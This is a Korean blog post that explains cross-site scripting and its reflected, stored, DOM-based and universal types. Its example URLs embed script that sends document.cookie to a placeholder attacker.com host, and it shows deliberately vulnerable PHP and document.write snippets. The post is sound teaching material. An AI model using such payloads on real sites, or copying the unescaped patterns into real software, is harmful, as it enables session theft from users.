dong1 dev log

XSS (Cross-Site Scripting)의 개념과 종류 본문

보안

XSS (Cross-Site Scripting)의 개념과 종류

dong1 2025. 12. 7. 03:38

1. XSS (Cross-Site Scripting)

 

XSS 공격은 대표적인 웹어플리케이션 취약점으로, 공격자의 코드를 다른 사이트에 심어서 이를 실행시키는 공격이다.

 

공격의 코드가 다른 사이트에서 실행됨으로써, 공격자는 피해자의 쿠키/세션 정보를 읽거나 웹페이지 내에서 특정 동작을 수행하는 등의 공격을 할 수 있다.

 

간단하게 말해서 XSS 공격의 특징은, 

1) Code injection 공격으로,

2) 악의적인 script가 정상적인 웹사이트에 inject 되어,

3) Inject된 코드는 victim이 target 웹페이지를 방문할때, victim의 브라우저에서 실행된다.

 

 

2. XSS의 원리

 

XSS 공격에는 크게 세 종류의 등장인물이 등장한다.

 

1) Victim user (피해자)

Victim은 XSS 공격을 당해서 자신의 쿠키값과 같은 중요 정보를 탈취당하는 사람이다.

 

2) Target server

Target은 정상적인 서비스를 하고 있는 웹서버이다.

기본적으로 XSS 공격에 취약하다는 가정을 가지고 있다.

 

3) Attacker server (공격자)

Attacker는 Target을 이용해서 Victim의 중요 정보를 탈취하는 사람이다.

 

 

XSS 공격에서 이 세 등장인물들의 관계는 아래와 같은 그림으로 설명할 수 있다.

 

[그림 1] XSS의 대표적인 패턴

 

[그림 1]에서 보다시피, Attacker는 우선 XSS 취약점이 있는 Target을 찾아야 한다.

그리고 Attacker는 쿠키 등과 같은 중요 정보를 탈취하는 악성 script를 만들어 어떻게든 Target에게 몰래 심는다.

 

최종적으로 Attacker의 목표는, 생성한 악성 script를 Target 웹사이트에 방문한 Victim의 브라우저에서 실행되도록 하는 것이다.

 

여기서 중요한 점은, Target을 방문한 상황에서 악성 script가 실행된다는 점이다. 즉, 악성 script가 target의 context에서 실행된다.

위의 목표를 달성하기 위한 다양한 방법들이 존재하는데, 이 방법들이 XSS 공격의 다양한 종류들로 분류된다.

 

 

Q. 그냥 Attacker가 취약한 웹페이지 만들고 거기서 공격하면 안되나? Attacker가 만든 웹페이지에 악성 script 숨겨 놓고 Victim이 그 웹페이지에 접속하도록 유도만 하면, 자연스럽게 Victim의 브라우저에서 악성 script가 돌지 않을까?

 

A. 우선, 쿠키값과 같은 중요 정보들은 도메인별로 부여되고 관리된다는 점을 기억하자.

따라서 만약 위와 같이 Attacker의 웹페이지에서 공격을 하면 결국 Attacker가 탈취하는건, Victim이 Attacker의 웹페이지 (attacker.com)에서 받은 쿠키 정보들이다. 그러면 굳이 공격하는 의미가 없게 된다.

 

반대로 Target 웹페이지 (target.com)이 은행이나 온라인 쇼핑과 같은 서비스라고 한다면, 해당 웹페이지의 쿠키값을 탈취하는건 굉장히 Attacker 입장에서 유용한 정보다.

그래서 굳이굳이 XSS 취약점이 있는 Target 웹페이지를 찾고, Target을 매개로 공격하는 것이다.

 

 

3. XSS의 종류

 

XSS 공격의 종류는 공격 방식에 따라 4가지로 분류할 수 있다.

 

1) Reflected XSS (Server-side XSS)

2) Stored XSS

3) DOM-based XSS (Client-side XSS)

4) Universal XSS

 

 

4. Reflected XSS (Server-side XSS)

 

[그림 2] Reflected XSS의 대표적인 패턴

 

Reflected XSS의 공격 시나리오는 [그림 2]과 같다.

 

 

Step 1) Attacker는 Victim에게 악성 script가 포함된 악성 링크를 전송한다

 

악성 URL은 보통 아래와 같이 정상적인 웹페이지 뒤에 script가 붙어있는 형태이다.

http://target.com/vulnerable.php?user=Alice</p><script>fetch_cookie('http://attacker.com", document.cookie);</script><p>

 

여기서 눈여겨봐야 할 것은, 이 URL이 공격자가 만든 attacker.com이 아니라, 공격자와 무관하게 정상적으로 서비스하고 있는 target.com 으로 연결된다는 것이다.

 

 

Step 2) Victim이 악성 URL을 클릭하여, target.com에 접속한다.

 

URL에 포함된 target.com/vulnerable.php 파일이 원래 아래와 같이 되어있다고 가정해보자.

간단하게 설명하면, url의 query string 중에서 'user' 파라미터를 읽어와서 표시해주는 PHP 코드이다.

<?PHP
  echo "<p> Welcome! Current User: " . $_GET['user'] . "</p>";
?>

 

원래 정상적인 접근(http://target.com/vulnerable.php?user=Alice) 이라면, 'user' 파라미터에 Alice만 들어있으므로 웹페이지에

"Welcome! Current User: Alice" 이렇게만 표시되어야 한다.

 

 

Step 3) Target서버가 victim에게 악성 script가 포함된 response를 보낸다.

 

아까 악성 URL 에 뒤에

<script>fetch_cookie('http://attacker.com", document.cookie);</script><p>

이렇게 요상한 script태크가 붙어있는걸 볼 수 있었다.

 

해당 코드는 공격자(attacker.com)에게 victim의 쿠키값을 보내는 악성 script 이다.

 

Victim은 이렇게 위험한 악성 script가 포함된 웹페이지 response를 target 서버로부터 받게 된다.

 

 

Step 4) Victim의 브라우저에서 악성 script가 실행되어, 공격자에게 쿠키 데이터가 전송된다.

 

Target 서버로부터 받은 response에 포함된 악성 script가 victim의 브라우저에서 실행되면서, 결국 공격자에게 자신이 target.com 에서 사용하는 쿠키값을 attacker.com 에게 보내게 된다.

 

 

 

5. Stored XSS

 

[그림 3] Stored XSS의 대표적 패턴

 

Stored XSS의 공격 시나리오는 [그림 3]과 같다.

 

Step 1) Attacker가 Target 웹서버에 저장된 데이터에 악성 script를 몰래 심는다.

 

Stored XSS에서 가장 핵심적인 부분이라고 할 수 있다. 어떤식으로든 Attacker는 Target의 웹서버에 악성 script를 심어야 한다.

 

가장 대표적인 예시로는 target.com이 어떤 게시글을 포스팅하고, 다른사람들이 조회할 수 있는 사이트라고 가정할 때, 공격자가 악성 script가 포함된 게시글을 올리는 것이다.

 

그렇게 되면, target.com은 이 글을 자신의 서버에 저장하게 되고, 자연스럽게 target의 웹서버에 script가 몰래 심기게 된다.

 

 

Step 2) Victim이 Target의 웹페이지를 방문하기 위해 request를 보낸다.

 

더 자세히 말하면, Attacker의 악성 script가 삽입된 Target의 웹페이지를 방문해야 한다.

앞서 예시에서 공격자가 target.com 에 글을 포스팅했다고 했는데, Victim은 해당 포스팅에 방문을 해야 한다.

 

전형적인 Reflected XSS와 달리, Stored XSS에서는 Attacker가 만든 악성 링크를 클릭하지 않고, 정상적인 접근으로도 공격이 가능하다.

 

 

Step 3) Target은 Victim에게 웹페이지 response를 보낸다.

 

이때, 포스팅 웹페이지를 전송하면서, 공격자가 미리 삽입해두었던 악성 script 역시 함께 전송된다.

 

 

Step 4) Victim의 브라우저에서 악성 script가 실행되어, 공격자에게 쿠키 데이터가 전송된다.

 

위 시나리오에서는 공격자가 Target의 웹페이지에 포스팅을 올리는 것을 예시로 들었지만, 이외에도 다양한 공격 시나리오가 가능하다.

 

대표적으로 2009년에는 트위터 프로필에 URL-encoded 데이터를 저장할 수 있다는 사실을 악용해서, 자기 트위터 프로필에 악성 스크립트를 삽입한 경우도 있었다.

어쨌거나 트위터가 사용자의 프로필 정보를 자기 웹서버에 저장할 것이므로, 이것도 결국 Attacker가 Target의 웹서버에 script를 몰래 심은 케이스라고 볼 수 있다.

 

 

 

6. DOM-based XSS

 

앞서 살펴본 Reflected XSS나 Stored XSS는 공통적으로 Target의 서버에서 Victim에게 response가 넘어올때부터 Attacker가 심어둔 script가 포함되어 있었다.

하지만, DOM-based XSS는 Target의 서버에서 response가 올때까지도 악성 script가 포함되어있지 않다.

어떻게 이게 가능할까?

 

[그림 4] DOM-based XSS의 대표적인 패턴

 

DOM-based  XSS의 공격 시나리오는 [그림 4]과 같다.

 

Step 1) Attacker는 Victim에게 악성 script가 포함된 악성 링크를 전송한다

 

악성 URL은 보통 아래와 같은 형태이다.

https://target.com/showmeprofile.php#<script>fetch_cookie('http://attacker.com", document.cookie);</script>

 

이번에도 마찬가지로, 정상적인 target.com의 URL 뒤에 fragment로 Attacker에게 쿠키정보를 보내는 script가 들어가 있다.

하지만, fragment 값은 서버에게 전달되지 않으므로, target.com은 이 fragment 값을 인지하지 못하고 있는 상태이다.

 

 

Step 2) Victim이 악성 URL을 클릭하여, target.com 에 접속한다.

 

위 URL 에 포함된 target.com/showmeprofle.php에 아래와 같은 JavaScript 코드를 포함하고 있다고 가정해보자.

아래 코드는 현재 document에다가 <b> 태그를 추가하는 코드이고, 추가로 URL을 읽어와서 함께 표시해주는 코드이다.

<script>
  document.write(
    "<b>Current URL</b>: " + document.baseURI);
</script>

 

원래 정상적인 접근이라면, 웹페이지에

"CurrentURL: https://target.com/showmeprofile.php"  이렇게 표시되어야 한다.

 

 

Step 3) Target 서버가 victim에게 response를 보낸다.

 

중요한 포인트는 위에 보여줬던 php 코드가 victim의 브라우저에게 보내지는 과정에서, 아직 attacker의 악성 script는 삽입되지 않은 상태라는 것이다.

 

왜냐하면, 저 document.write 함수는 victim의 브라우저에서 실행되는 코드이기 때문에 아직까지는 script가 response에 포함되어있지 않다.

 

 

Step 4) Victim의 브라우저에서 악성 script가 실행되어, 공격자에게 쿠키 데이터가 전송된다.

 

Victim의 브라우저에서 document.write 함수가 실행되면서, document.baseURI 값에 아까 링크에 있는

https://target.com/showmeprofile.php#<script>fetch_cookie('http://attacker.com", document.cookie);</script>

이 URI가 웹페이지에 추가되고, 이 추가된 웹페이지를 브라우저가 실행하면서 비로소 attacker가 삽입한 악성 script도 실행된다.

 

 

 

7. Universal XSS (UXSS)

 

사실 Universal XSS (UXSS)는 앞선 XSS에 비해 잘 알려지지 않았고, 또 공격 방식도 앞선 XSS들과는 다른 공격이다.

UXSS는 target 웹페이지의 취약점을 이용한 앞선 XSS와는 다르게, 브라우저 자체의 취약점을 이용한 XSS이다.

 

그래서 앞선 XSS들은 취약한 Target 웹어플리케이션만을 대상으로 공격이 가능했다면,

UXSS는 취약한 브라우저를 사용한다면, 모든 웹사이트가 공격 대상이다. (그래서 이름이 universal 이다.)

그렇기 때문에 굉장히 위험하고 심각도가 높은 취약점이라고 할 수 있다.

 

예를 들어서, Attacker가 자신의 웹페이지 attacker.com에 공격하고 싶은 Targettarget.comiframe 으로 열었다고 가정해보자.

 

정상적인 브라우저의 경우에는, 이 attacker.com의 origin은 attacker.com으로, 그리고 그 안의 iframe으로 열린 target.com의 origin은 target.com으로 인식해야 한다.

그래서 attacker.com에 포함된 악성 script는 target.com의 resource에 접근하지 못해야 한다. (Same-Origin Policy)

 

하지만, UXSS 취약점이 있는 브라우저는 attacker.com의 악성 script 가 target.com의 resource에 접근해서 임의로 조작하는 것이 가능하다. 예를 들어서 아래와 같은 공격이 가능하다.

// UXSS를 이용해 attacker가 target의 document에 접근이 가능하다는 가정
let script = document.createElement('script');
script.innerText = fetch_cookie()';

 

위 코드는 원래 attacker.com의 DOM element들만 조작이 가능해야 하지만, 저 코드의 앞부분에서 UXSS를 이용해 targetdocument object에 접근이 가능해졌다는 가정하에, target의 쿠키와 같은 중요 정보 탈취가 가능해진다.

 

하지만, 최근 브라우저에서 서로 다른 사이트는 서로 다른 개별적인 프로세스에 할당하는 site isolation이 적용되면서 UXSS 버그는 현저히 줄어들고 있다.

 

 

 

오늘 배운 내용을 정리해보면,

1. XSS 공격은 Attacker의 악성 script를 Target의 context에서 실행시키는 공격이다.

2. XSS의 종류는 reflected, stored, DOM-based, universal 이 있다.